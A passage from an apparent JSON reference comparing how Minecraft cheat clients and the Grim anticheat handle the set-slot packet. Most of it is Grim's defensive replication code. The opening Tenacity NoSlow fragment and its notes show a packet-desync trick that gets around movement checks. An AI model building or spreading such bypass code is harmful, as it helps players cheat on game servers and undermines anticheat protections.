mc.thePlayer.getHeldItem() != null && !(mc.thePlayer.getHeldItem().getItem() instanceof ItemSword)) {\n            mc.getNetHandler().addToSendQueue(new C0DPacketCloseWindow(0));\n            mc.getNetHandler().addToSendQueue(new C0EPacketClickWindow(0, 36 + mc.thePlayer.inventory.currentItem, 0, 6, null, mc.thePlayer.inventoryContainer.getNextTransactionID(mc.thePlayer.inventory)));\n            isItemGhost = true;\n        }\n    }\n}\n\n// NOTE (AI): The ghost item is created by sendBypass (C0D close window 0, then C0E shift-click of the held item); cancelling S2F for window 0 stops the server's slot corrections from removing it. The commented-out isItemGhost reset and the empty Watchdog branch show the module is unfinished.\n",
      "code_source": "Tenacity 6.0, dev/tenacity/module/impl/movement/NoSlowModule.java",
      "vanilla_hook": "PacketReceiveEvent, MotionEvent, SlowDownEvent.",
      "anti_cheat_notes": "The ghost-item no-slow is a classic desync exploit; cancelling S2F is what keeps the ghost alive. It only survives until the next S30 or a transaction rejection.",
      "variations": "The Watchdog mode branch is an empty stub; the corpus shows no other Tenacity module using S2F."
     },
     {
      "name": "AdaptiveRefreshRateComponent",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "HUD performance component: S2F (and S30, chat, collect-item) mark significant events that force a GuiIngameCache redraw.",
      "how_it_works": "PacketReceiveEvent: on S2F, reset the StopWatch and set the cache dirty so the next frame re-renders the HUD. PreMotionEvent re-evaluates dirty state every 100 ticks, on player-list/debug key changes, or while the component is disabled for a few ticks after health changes.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/hud/AdaptiveRefreshRateComponent.java =====\npackage com.alan.clients.component.impl.hud;\n\nimport com.alan.clients.component.Component;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.render.Render2DEvent;\nimport com.alan.clients.ui.ingame.GuiIngameCache;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S0DPacketCollectItem;\nimport net.minecraft.network.play.server.S2FPacketSetSlot;\nimport net.minecraft.network.play.server.S30PacketWindowItems;\nimport rip.vantage.commons.util.time.StopWatch;\n\npublic class AdaptiveRefreshRateComponent extends Component {\n\n    private boolean playerList, debugInfo;\n    private boolean setDirty;\n    private int disabledFor;\n    private float health;\n    public final StopWatch stopWatch = new StopWatch();\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        if (mc.thePlayer.ticksExisted % 100 == 0 || setDirty ||\n                mc.gameSettings.keyBindPlayerList.isKeyDown() != playerList || mc.gameSettings.showDebugInfo != debugInfo ||\n                mc.thePlayer.ticksExisted <= 10 || disabledFor > 0) {\n            GuiIngameCache.dirty = true;\n            playerList = mc.gameSettings.keyBindPlayerList.isKeyDown();\n            debugInfo = mc.gameSettings.showDebugInfo;\n            setDirty = false;\n        }\n\n        if (health != mc.thePlayer.getHealth()) {\n            disabledFor = 3;\n            health = mc.thePlayer.getHealth();\n        }\n\n        disabledFor--;\n    };\n\n    @EventLink\n    public final Listener<Render2DEvent> onRender2D = event -> {\n        if (mc.currentScreen != null) {\n            setDirty = true;\n            GuiIngameCache.dirty = true;\n        }\n    };\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        Packet packet = event.getPacket();\n\n        if (packet instanceof S02PacketChat || packet instanceof S30PacketWindowItems || packet instanceof S2FPacketSetSlot) {\n            stopWatch.reset();\n            setDirty = true;\n        }\n\n        if (packet instanceof S0DPacketCollectItem) {\n            disabledFor = 5;\n        }\n    };\n}\n\n// NOTE (AI): S2F and S30 are grouped with S02PacketChat as significant packets that force a HUD cache redraw; S0D collect-item disables adaptive refresh for 5 ticks. The component is byte-identical in 6.1.30 under com/alan/clients.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/hud/AdaptiveRefreshRateComponent.java",
      "vanilla_hook": "PacketReceiveEvent, PreMotionEvent, Render2DEvent.",
      "anti_cheat_notes": "None; the component is cosmetic and only observes the packet stream.",
      "variations": "Identical file in 6.1.30 (path com/alan/clients/component/impl/hud/). No other client has an equivalent."
     }
    ],
    "general_hooks": "PacketReceiveEvent is the universal surface for S2F across the 8 clients. Tenacity pairs it with MotionEvent and SlowDownEvent, Spicy uses its monolithic EventPacket receive path with setCanceled.",
    "client_variations": "Rise 5.99 cancels via event.setCancelled on PacketReceiveEvent. Spicy cancels via setCanceled on EventPacket. Tenacity 6.0 cancels the event and toggles its own ghost-item state. Rise 6.x has no gameplay module for S2F; it reaches the packet through AdaptiveRefreshRateComponent and the PacketUtil wrapper used by scripts.",
    "related": [
     "C0EPacketClickWindow",
     "S30PacketWindowItems",
     "S32PacketConfirmTransaction"
    ],
    "anticheat": {
     "overview": "The set-slot packet is the server's single-slot inventory correction: window id, slot, and the item placed there. It is server-authoritative display state, so anticheats do not validate it, but simulation anticheats must consume it to keep their compensated copy of the player inventory honest. The only real corpus hits are Grim's replication listener, which reads S2F to detect held-item and offhand changes, and Grim's check listener, which manufactures S2F packets to resync the client after a cancelled interaction. Everyone else ignores it.",
     "checks": [
      {
       "name": "SetSlot replication (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Apply the server's single-slot corrections to the compensated inventory and end stale item-use state when the held item changes.",
       "how_it_works": "PacketEntityReplication wraps SET_SLOT and, for window id 0 (the player inventory), schedules a transaction-sandwiched task: if the slot is the selected hotbar slot (36 + lastSlotSelected) or the offhand (45) and the item type differs from the compensated inventory, it clears the slowed-by-using-item state and resets item usage through the item reset handler. The task runs for the current and the next transaction to cover 1.8 clients that fail to send release-item packets.",
       "detects": "Item-use desync after server-side slot corrections. It feeds NoSlow and item-use timing checks with accurate held-item state.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketEntityReplication.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.api.config.ConfigManager;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.LogUtil;\nimport ac.grim.grimac.utils.data.SprintingState;\nimport ac.grim.grimac.utils.data.TrackerData;\nimport ac.grim.grimac.utils.data.packetentity.DashableEntity;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntity;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntityHook;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntityTrackXRot;\nimport ac.grim.grimac.utils.enums.Pose;\nimport ac.grim.grimac.utils.nmsutil.EntityMetadataPoseUtil;\nimport ac.grim.grimac.utils.viaversion.ViaVersionUtil;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.entity.EntityPositionData;\nimport com.github.retrooper.packetevents.protocol.entity.data.EntityData;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityType;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityTypes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.InteractionHand;\nimport com.github.retrooper.packetevents.protocol.player.UserProfile;\nimport com.github.retrooper.packetevents.protocol.potion.PotionType;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerAttachEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerDestroyEntities;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityEffect;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityEquipment;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityMetadata;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityPositionSync;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRelativeMove;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRelativeMoveAndRotation;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRotation;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityStatus;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityTeleport;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfo;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfoRemove;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfoUpdate;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerRemoveEntityEffect;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetPassengers;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetSlot;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnLivingEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnPainting;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnPlayer;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateAttributes;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerWindowItems;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.UUID;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\npublic class PacketEntityReplication extends Check implements PacketReceiveListener, PacketSendListener {\n\n    private final AtomicBoolean hasSentPreWavePacket = new AtomicBoolean(true);\n\n    // Let's imagine the player is on a boat.\n    // The player breaks this boat\n    // If we were to despawn the boat without an extra transaction, then the boat would disappear before\n    // it disappeared on the client side, creating a ghost boat to flag checks with\n    //\n    // If we were to despawn the tick after, spawning must occur the transaction before to stop the same exact\n    // problem with ghost boats in reverse.\n    //\n    // Therefore, we despawn the transaction after, and spawn the tick before.\n    //\n    // If we despawn then spawn an entity in the same transaction, then this solution would despawn the new entity\n    // instead of the old entity, so we wouldn't see the boat at all\n    //\n    // Therefore, if the server sends a despawn and then a spawn in the same transaction for the same entity,\n    // We should simply add a transaction (which will clear this list!)\n    //\n    // Another valid solution is to simply spam more transactions, but let's not waste bandwidth.\n    private final List<Integer> despawnedEntitiesThisTransaction = new ArrayList<>();\n\n    // Maximum ping when a firework boost is removed from the player.\n    private int maxFireworkBoostPing = 1000;\n\n    public PacketEntityReplication(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketReceive(PacketReceiveEvent event) {\n        // Teleports don't interpolate, duplicate 1.17 packets don't interpolate\n        if (!isTickPacket(event.getPacketType())) return;\n        player.compensatedEntities.entitiesRemovedThisTick.clear();\n        boolean isTickingReliably = player.isTickingReliablyFor(3);\n\n        PacketEntity playerVehicle = player.compensatedEntities.self.getRiding();\n        for (PacketEntity entity : player.compensatedEntities.entityMap.values()) {\n            if (entity == playerVehicle && !player.vehicleData.lastDummy) {\n                // The player has this as their vehicle, so they aren't interpolating it.\n                // And it isn't a dummy position\n                entity.setPositionRaw(player, entity.getPossibleLocationBoxes());\n            } else {\n                entity.onMovement(isTickingReliably);\n            }\n        }\n\n        if (player.vehicleData.camelSprintingState == SprintingState.STOPPING) {\n            player.vehicleData.camelSprintingState = SprintingState.STOPPED;\n        } else if (player.vehicleData.camelSprintingState == SprintingState.STOPPED && player.isSprinting) { // For sprint desyncs\n            player.vehicleData.camelSprintingState = SprintingState.STARTED;\n        }\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        // ensure grim is the one that sent the transaction\n        if ((event.getPacketType() == PacketType.Play.Server.PING || event.getPacketType() == PacketType.Play.Server.WINDOW_CONFIRMATION) && player.packetStateData.lastServerTransWasValid) {\n            despawnedEntitiesThisTransaction.clear();\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_LIVING_ENTITY) {\n            WrapperPlayServerSpawnLivingEntity packetOutEntity = new WrapperPlayServerSpawnLivingEntity(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getEntityUUID(), packetOutEntity.getEntityType(), packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), packetOutEntity.getEntityMetadata(), 0);\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_ENTITY) {\n            WrapperPlayServerSpawnEntity packetOutEntity = new WrapperPlayServerSpawnEntity(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID().orElse(null), packetOutEntity.getEntityType(), packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), null, packetOutEntity.getData());\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_PLAYER) {\n            WrapperPlayServerSpawnPlayer packetOutEntity = new WrapperPlayServerSpawnPlayer(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID(), EntityTypes.PLAYER, packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), packetOutEntity.getEntityMetadata(), 0);\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_PAINTING) {\n            WrapperPlayServerSpawnPainting packetOutEntity = new WrapperPlayServerSpawnPainting(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID(), EntityTypes.PAINTING, packetOutEntity.getPosition().toVector3d(), 0, 0f, null, packetOutEntity.getDirection().getHorizontalIndex());\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE) {\n            WrapperPlayServerEntityRelativeMove move = new WrapperPlayServerEntityRelativeMove(event);\n            handleMoveEntity(event, move.getEntityId(), move.getDeltaX(), move.getDeltaY(), move.getDeltaZ(), null, null, true, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE_AND_ROTATION) {\n            WrapperPlayServerEntityRelativeMoveAndRotation move = new WrapperPlayServerEntityRelativeMoveAndRotation(event);\n            handleMoveEntity(event, move.getEntityId(), move.getDeltaX(), move.getDeltaY(), move.getDeltaZ(), move.getYaw() * 0.7111111F, move.getPitch() * 0.7111111F, true, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_TELEPORT) {\n            WrapperPlayServerEntityTeleport move = new WrapperPlayServerEntityTeleport(event);\n            Vector3d pos = move.getPosition();\n            handleMoveEntity(event, move.getEntityId(), pos.getX(), pos.getY(), pos.getZ(), move.getYaw(), move.getPitch(), false, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_POSITION_SYNC) {\n            // ENTITY_TELEPORT but without relative flags\n            WrapperPlayServerEntityPositionSync move = new WrapperPlayServerEntityPositionSync(event);\n            final EntityPositionData values = move.getValues();\n            final Vector3d pos = values.getPosition();\n            // TODO this isn't technically correct\n            // If the position sync is to a pos > 4096 from the entity pos, client does some special stuff without interpolation\n            handleMoveEntity(event, move.getId(), pos.getX(), pos.getY(), pos.getZ(), values.getYaw(), values.getPitch(), false, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_ROTATION) { // Affects interpolation\n            WrapperPlayServerEntityRotation move = new WrapperPlayServerEntityRotation(event);\n            handleMoveEntity(event, move.getEntityId(), 0, 0, 0, move.getYaw() * 0.7111111F, move.getPitch() * 0.7111111F, true, false);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_METADATA) {\n            WrapperPlayServerEntityMetadata entityMetadata = new WrapperPlayServerEntityMetadata(event);\n            schedulePoseTransition(entityMetadata, event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.compensatedEntities.updateEntityMetadata(entityMetadata.getEntityId(), entityMetadata.getEntityMetadata()));\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_EQUIPMENT) {\n            WrapperPlayServerEntityEquipment equipment = new WrapperPlayServerEntityEquipment(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.compensatedEntities.updateEntityEquipment(equipment.getEntityId(), equipment.getEquipment()));\n        }\n\n        // 1.19.3+\n        else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO_UPDATE) {\n            WrapperPlayServerPlayerInfoUpdate info = new WrapperPlayServerPlayerInfoUpdate(event);\n            if (info.getActions().contains(WrapperPlayServerPlayerInfoUpdate.Action.ADD_PLAYER)) {\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    for (WrapperPlayServerPlayerInfoUpdate.PlayerInfo entry : info.getEntries()) {\n                        final UserProfile gameProfile = entry.getGameProfile();\n                        final UUID uuid = gameProfile.getUUID();\n                        player.compensatedEntities.profiles.put(uuid, gameProfile);\n                    }\n                });\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO_REMOVE) {\n            WrapperPlayServerPlayerInfoRemove remove = new WrapperPlayServerPlayerInfoRemove(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> remove.getProfileIds().forEach(player.compensatedEntities.profiles::remove));\n        } else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO) {\n            WrapperPlayServerPlayerInfo info = new WrapperPlayServerPlayerInfo(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                if (info.getAction() == WrapperPlayServerPlayerInfo.Action.ADD_PLAYER) {\n                    for (WrapperPlayServerPlayerInfo.PlayerData entry : info.getPlayerDataList()) {\n                        final UserProfile gameProfile = entry.getUserProfile();\n                        final UUID uuid = gameProfile.getUUID();\n                        player.compensatedEntities.profiles.put(uuid, gameProfile);\n                    }\n                } else if (info.getAction() == WrapperPlayServerPlayerInfo.Action.REMOVE_PLAYER) {\n                    info.getPlayerDataList().forEach(profile -> player.compensatedEntities.profiles.remove(profile.getUserProfile().getUUID()));\n                }\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_EFFECT) {\n            WrapperPlayServerEntityEffect effect = new WrapperPlayServerEntityEffect(event);\n\n            PotionType type = effect.getPotionType();\n\n            // ViaVersion tries faking levitation effects and fails badly lol, flagging the anticheat\n            // Block other effects just in case ViaVersion gets any ideas\n            //\n            // Set to 24 so ViaVersion blocks it\n            // 24 is the levitation effect\n            if (player.getClientVersion().isOlderThan(ClientVersion.V_1_9) && ViaVersionUtil.isAvailable && type.getId(player.getClientVersion()) > 23) {\n                event.setCancelled(true);\n                return;\n            }\n\n            // ViaVersion dolphin's grace also messes us up, set it to a potion effect that doesn't exist on 1.12\n            // Effect 31 is bad omen\n            if (player.getClientVersion().isOlderThan(ClientVersion.V_1_13) && ViaVersionUtil.isAvailable && type.getId(player.getClientVersion()) == 30) {\n                event.setCancelled(true);\n                return;\n            }\n\n            if (isDirectlyAffectingPlayer(player, effect.getEntityId())) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity entity = player.compensatedEntities.getEntity(effect.getEntityId());\n                if (entity == null) return;\n\n                entity.addPotionEffect(type, effect.getEffectAmplifier());\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.REMOVE_ENTITY_EFFECT) {\n            WrapperPlayServerRemoveEntityEffect effect = new WrapperPlayServerRemoveEntityEffect(event);\n\n            if (isDirectlyAffectingPlayer(player, effect.getEntityId())) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity entity = player.compensatedEntities.getEntity(effect.getEntityId());\n                if (entity == null) return;\n\n                entity.removePotionEffect(effect.getPotionType());\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.UPDATE_ATTRIBUTES) {\n            WrapperPlayServerUpdateAttributes attributes = new WrapperPlayServerUpdateAttributes(event);\n\n            int entityID = attributes.getEntityId();\n\n            // The attributes for this entity is active, currently\n            if (isDirectlyAffectingPlayer(player, entityID)) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(),\n                    () -> player.compensatedEntities.updateAttributes(entityID, attributes.getProperties()));\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_STATUS) {\n            WrapperPlayServerEntityStatus status = new WrapperPlayServerEntityStatus(event);\n            // This hasn't changed from 1.7.2 to 1.17\n            // Needed to exempt players on dead vehicles, as dead entities have strange physics.\n            if (status.getStatus() == 3) {\n                PacketEntity entity = player.compensatedEntities.getEntity(status.getEntityId());\n\n                if (entity == null) return;\n                entity.isDead = true;\n            }\n\n            if (status.getStatus() == 9) {\n                if (status.getEntityId() != player.entityID) return;\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n            }\n\n            if (status.getStatus() == 31) {\n                PacketEntity hook = player.compensatedEntities.getEntity(status.getEntityId());\n                if (!(hook instanceof PacketEntityHook hookEntity)) return;\n\n                if (hookEntity.attached == player.entityID) {\n                    player.sendTransaction();\n                    // We don't transaction sandwich this, it's too rare to be a real problem.\n                    player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.uncertaintyHandler.fishingRodPulls.add(hookEntity.owner));\n                }\n            }\n\n            if (status.getStatus() >= 24 && status.getStatus() <= 28 && status.getEntityId() == player.entityID) {\n                player.compensatedEntities.self.opLevel = status.getStatus() - 24;\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.SET_SLOT) {\n            WrapperPlayServerSetSlot slot = new WrapperPlayServerSetSlot(event);\n\n            if (slot.getWindowId() == 0) {\n                Runnable task = () -> {\n                    if (slot.getSlot() - 36 == player.packetStateData.lastSlotSelected && (\n                            !player.inventory.getHeldItem().is(slot.getItem().getType()) || player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)\n                    ) || slot.getSlot() == 45 && !player.inventory.getOffHand().is(slot.getItem().getType())) {\n                        InteractionHand hand = slot.getSlot() == 45 ? InteractionHand.OFF_HAND : InteractionHand.MAIN_HAND;\n                        if (hand == player.packetStateData.itemInUseHand) {\n                            player.packetStateData.setSlowedByUsingItem(false);\n                        }\n\n                        if (player.isResetItemUsageOnItemUpdate() && hand == GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer)) {\n                            GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                        }\n                    }\n                };\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), task);\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, task);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.WINDOW_ITEMS) {\n            WrapperPlayServerWindowItems items = new WrapperPlayServerWindowItems(event);\n\n            if (items.getWindowId() == 0) { // Player inventory\n                Runnable task = () -> {\n                    if (player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)) {\n                        player.packetStateData.setSlowedByUsingItem(false);\n                        if (player.isResetItemUsageOnItemUpdate()) {\n                            GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                        }\n                    } else {\n                        if (items.getItems().size() > 45 && !player.inventory.getOffHand().is(items.getItems().get(45).getType())) {\n                            if (player.packetStateData.itemInUseHand == InteractionHand.OFF_HAND) {\n                                player.packetStateData.setSlowedByUsingItem(false);\n                            }\n\n                            if (player.isResetItemUsageOnItemUpdate() && GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer) == InteractionHand.OFF_HAND) {\n                                GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                            }\n                        }\n\n                        if (!player.inventory.getHeldItem().is(items.getItems().get(player.packetStateData.lastSlotSelected + 36).getType())) {\n                            if (player.packetStateData.itemInUseHand == InteractionHand.MAIN_HAND) {\n                                player.packetStateData.setSlowedByUsingItem(false);\n                            }\n\n                            if (player.isResetItemUsageOnItemUpdate() && GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer) == InteractionHand.MAIN_HAND) {\n                                GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                            }\n                        }\n                    }\n                };\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), task);\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, task);\n            }\n        }\n\n        // 1.8 clients fail to send the RELEASE_USE_ITEM packet when a window is opened client sided while using an item\n        else if (event.getPacketType() == PacketType.Play.Server.OPEN_WINDOW) {\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n        } else if (event.getPacketType() == PacketType.Play.Server.OPEN_HORSE_WINDOW) {\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n        } else if (event.getPacketType() == PacketType.Play.Server.SET_PASSENGERS) {\n            WrapperPlayServerSetPassengers mount = new WrapperPlayServerSetPassengers(event);\n\n            int vehicleID = mount.getEntityId();\n            int[] passengers = mount.getPassengers();\n\n            handleMountVehicle(event, vehicleID, passengers);\n        } else if (event.getPacketType() == PacketType.Play.Server.ATTACH_ENTITY) {\n            WrapperPlayServerAttachEntity attach = new WrapperPlayServerAttachEntity(event);\n\n            // This packet was replaced by the mount packet on 1.9+ servers - to support multiple passengers on one vehicle\n            if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9))\n                return;\n\n            // If this is mounting rather than leashing\n            if (!attach.isLeash()) {\n                // Alright, let's convert this to the 1.9+ format to make it easier for grim\n                int vehicleID = attach.getHoldingId();\n                int attachID = attach.getAttachedId();\n                TrackerData trackerData = player.compensatedEntities.getTrackedEntity(attachID);\n\n                if (trackerData != null) {\n                    // 1.8 sends a vehicle ID of -1 to dismount the entity from its vehicle\n                    // This is opposite of the 1.9+ format, which sends the vehicle ID and then an empty array.\n                    if (vehicleID == -1) { // Dismounting\n                        vehicleID = trackerData.getLegacyPointEightMountedUpon();\n                        handleMountVehicle(event, vehicleID, new int[]{}); // The vehicle is empty\n                    } else { // Mounting\n                        trackerData.setLegacyPointEightMountedUpon(vehicleID);\n                        handleMountVehicle(event, vehicleID, new int[]{attachID});\n                    }\n                } else {\n                    // I don't think we can recover from this... warn and move on as this shouldn't happen.\n                    LogUtil.warn(\"Server sent an invalid attach entity packet for entity \" + attach.getHoldingId() + \" with passenger \" + attach.getAttachedId() + \"! The client ignores this.\");\n                }\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.DESTROY_ENTITIES) {\n            WrapperPlayServerDestroyEntities destroy = new WrapperPlayServerDestroyEntities(event);\n\n            int[] destroyEntityIds = destroy.getEntityIds();\n\n            for (int entityID : destroyEntityIds) {\n                despawnedEntitiesThisTransaction.add(entityID);\n                player.compensatedEntities.serverPositionsMap.remove(entityID);\n                // Remove the tracked vehicle (handling tracking knockback) if despawned\n                if (player.compensatedEntities.serverPlayerVehicle != null && player.compensatedEntities.serverPlayerVehicle == entityID) {\n                    player.compensatedEntities.serverPlayerVehicle = null;\n                }\n            }\n\n            final int destroyTransaction = player.lastTransactionSent.get() + 1;\n            player.latencyUtils.addRealTimeTask(destroyTransaction, () -> {\n                for (int entityId : destroyEntityIds) {\n                    player.compensatedEntities.removeEntity(entityId);\n                    player.dashableEntities.removeEntity(entityId);\n                    player.fireworks.removeFirework(entityId);\n                    player.compensatedEntities.entitiesRemovedThisTick.add(entityId);\n                }\n            });\n\n            // Don't let the player freeze transactions to keep the firework boost velocity + uncertainty\n            // Also generally prevents people with high ping gaining too high an advantage in firework use\n            if (maxFireworkBoostPing > 0) {\n                player.runNettyTaskInMs(() -> {\n                    if (player.lastTransactionReceived.get() >= destroyTransaction) return;\n                    for (int entityID : destroyEntityIds) {\n                        // If the player has a firework boosting them, setback\n                        if (player.fireworks.hasFirework(entityID)) {\n                            player.getSetbackTeleportUtil().executeViolationSetback();\n                            break;\n                        }\n                    }\n                }, maxFireworkBoostPing);\n            }\n        }\n    }\n\n    private void handleMountVehicle(PacketSendEvent event, int vehicleID, int[] passengers) {\n        boolean wasInVehicle = player.compensatedEntities.serverPlayerVehicle != null && player.compensatedEntities.serverPlayerVehicle == vehicleID;\n        boolean inThisVehicle = false;\n\n        for (int passenger : passengers) {\n            inThisVehicle = passenger == player.entityID;\n            if (inThisVehicle) break;\n        }\n\n        if (inThisVehicle && !wasInVehicle) {\n            player.handleMountVehicle(vehicleID);\n        }\n\n        if (!inThisVehicle && wasInVehicle) {\n            player.handleDismountVehicle(event);\n        }\n        // Better lag compensation if we were affected by this\n        if (wasInVehicle || inThisVehicle) {\n            player.sendTransaction();\n        }\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity vehicle = player.compensatedEntities.getEntity(vehicleID);\n\n            // Vanilla likes sending null vehicles, so we must ignore those like the client 